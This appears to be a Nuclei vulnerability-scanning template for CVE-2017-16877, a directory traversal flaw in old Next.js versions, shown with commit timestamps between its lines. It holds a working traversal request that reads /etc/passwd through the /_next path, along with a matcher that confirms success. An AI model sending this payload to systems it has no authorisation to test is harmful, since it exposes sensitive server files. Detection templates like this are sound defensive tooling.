2021-02-26 15:05:49 +00:00
id : CVE-2017-16877
info :
name : Nextjs v2.4.1 LFI
author : pikpikcu
severity : high
2021-04-18 13:00:27 +00:00
description : ZEIT Next.js before 2.4.1 has directory traversal under the /_next and /static request namespace, allowing attackers to obtain sensitive information.
2021-03-10 14:15:41 +00:00
reference : https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
2021-02-26 15:05:49 +00:00
tags : cve,cve2017,nextjs,lfi
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.50
cve-id : CVE-2017-16877
cwe-id : CWE-22
2021-02-26 15:05:49 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0"
2021-02-26 15:05:49 +00:00
part : body
condition : and
- type : status
status :
- 200
